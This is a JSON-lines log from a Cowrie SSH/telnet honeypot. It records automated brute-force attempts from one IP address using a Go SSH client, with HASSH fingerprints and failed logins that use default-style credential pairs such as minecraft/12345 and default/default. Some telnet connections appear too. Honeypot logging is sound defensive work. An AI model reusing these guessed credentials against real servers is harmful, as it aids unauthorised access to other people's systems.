{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:59.713797Z","src_ip":"176.65.132.129","session":"31070a2efec0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:59.960393Z","src_ip":"176.65.132.129","session":"31070a2efec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:01.045287Z","src_ip":"176.65.132.129","session":"31070a2efec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56234,"dst_ip":"159.203.135.109","dst_port":22,"session":"72fbbc369f1f","protocol":"ssh","message":"New connection: 176.65.132.129:56234 (159.203.135.109:22) [session: 72fbbc369f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:03.070553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:03.075859Z","src_ip":"176.65.132.129","session":"72fbbc369f1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:03.157808Z","src_ip":"176.65.132.129","session":"72fbbc369f1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:03.407341Z","src_ip":"176.65.132.129","session":"72fbbc369f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:04.643370Z","src_ip":"176.65.132.129","session":"72fbbc369f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.10412621498108,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:06.342065Z","src_ip":"45.58.127.90","session":"39e1243b38c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59342,"dst_ip":"159.203.135.109","dst_port":22,"session":"19985a57768d","protocol":"ssh","message":"New connection: 176.65.132.129:59342 (159.203.135.109:22) [session: 19985a57768d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:06.384276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:06.389420Z","src_ip":"176.65.132.129","session":"19985a57768d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:06.474639Z","src_ip":"176.65.132.129","session":"19985a57768d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:06.721459Z","src_ip":"176.65.132.129","session":"19985a57768d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:07.806781Z","src_ip":"176.65.132.129","session":"19985a57768d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59344,"dst_ip":"159.203.135.109","dst_port":22,"session":"966d9b4483c8","protocol":"ssh","message":"New connection: 176.65.132.129:59344 (159.203.135.109:22) [session: 966d9b4483c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:09.806458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:09.823675Z","src_ip":"176.65.132.129","session":"966d9b4483c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:09.907104Z","src_ip":"176.65.132.129","session":"966d9b4483c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:10.342436Z","src_ip":"176.65.132.129","session":"966d9b4483c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:11.427273Z","src_ip":"176.65.132.129","session":"966d9b4483c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59352,"dst_ip":"159.203.135.109","dst_port":22,"session":"19c99f853b6c","protocol":"ssh","message":"New connection: 176.65.132.129:59352 (159.203.135.109:22) [session: 19c99f853b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:13.172351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:13.176605Z","src_ip":"176.65.132.129","session":"19c99f853b6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:13.258351Z","src_ip":"176.65.132.129","session":"19c99f853b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:13.508411Z","src_ip":"176.65.132.129","session":"19c99f853b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:14.593993Z","src_ip":"176.65.132.129","session":"19c99f853b6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50350,"dst_ip":"10.17.0.5","dst_port":23,"session":"05ce08a7bf1d","protocol":"telnet","message":"New connection: 45.58.127.90:50350 (10.17.0.5:23) [session: 05ce08a7bf1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:15.682681Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50500,"dst_ip":"159.203.135.109","dst_port":22,"session":"46d2044fe3e2","protocol":"ssh","message":"New connection: 176.65.132.129:50500 (159.203.135.109:22) [session: 46d2044fe3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:16.505831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:16.511854Z","src_ip":"176.65.132.129","session":"46d2044fe3e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:16.596127Z","src_ip":"176.65.132.129","session":"46d2044fe3e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:16.841419Z","src_ip":"176.65.132.129","session":"46d2044fe3e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:17.931959Z","src_ip":"176.65.132.129","session":"46d2044fe3e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53424,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a2e569332d2","protocol":"telnet","message":"New connection: 45.58.127.90:53424 (10.17.0.5:23) [session: 5a2e569332d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:18.502006Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50526,"dst_ip":"159.203.135.109","dst_port":22,"session":"f58d6e5550d0","protocol":"ssh","message":"New connection: 176.65.132.129:50526 (159.203.135.109:22) [session: f58d6e5550d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:19.850459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:19.857652Z","src_ip":"176.65.132.129","session":"f58d6e5550d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:19.939651Z","src_ip":"176.65.132.129","session":"f58d6e5550d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:20.413916Z","src_ip":"176.65.132.129","session":"f58d6e5550d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:21.498986Z","src_ip":"176.65.132.129","session":"f58d6e5550d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50536,"dst_ip":"159.203.135.109","dst_port":22,"session":"15f00809a676","protocol":"ssh","message":"New connection: 176.65.132.129:50536 (159.203.135.109:22) [session: 15f00809a676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:23.414848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:23.419445Z","src_ip":"176.65.132.129","session":"15f00809a676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:23.502122Z","src_ip":"176.65.132.129","session":"15f00809a676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:23.749252Z","src_ip":"176.65.132.129","session":"15f00809a676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:24.835747Z","src_ip":"176.65.132.129","session":"15f00809a676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33272,"dst_ip":"159.203.135.109","dst_port":22,"session":"db956476ade6","protocol":"ssh","message":"New connection: 176.65.132.129:33272 (159.203.135.109:22) [session: db956476ade6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:26.726393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:09:26.733167Z","src_ip":"176.65.132.129","session":"db956476ade6","protocol":"ssh"}
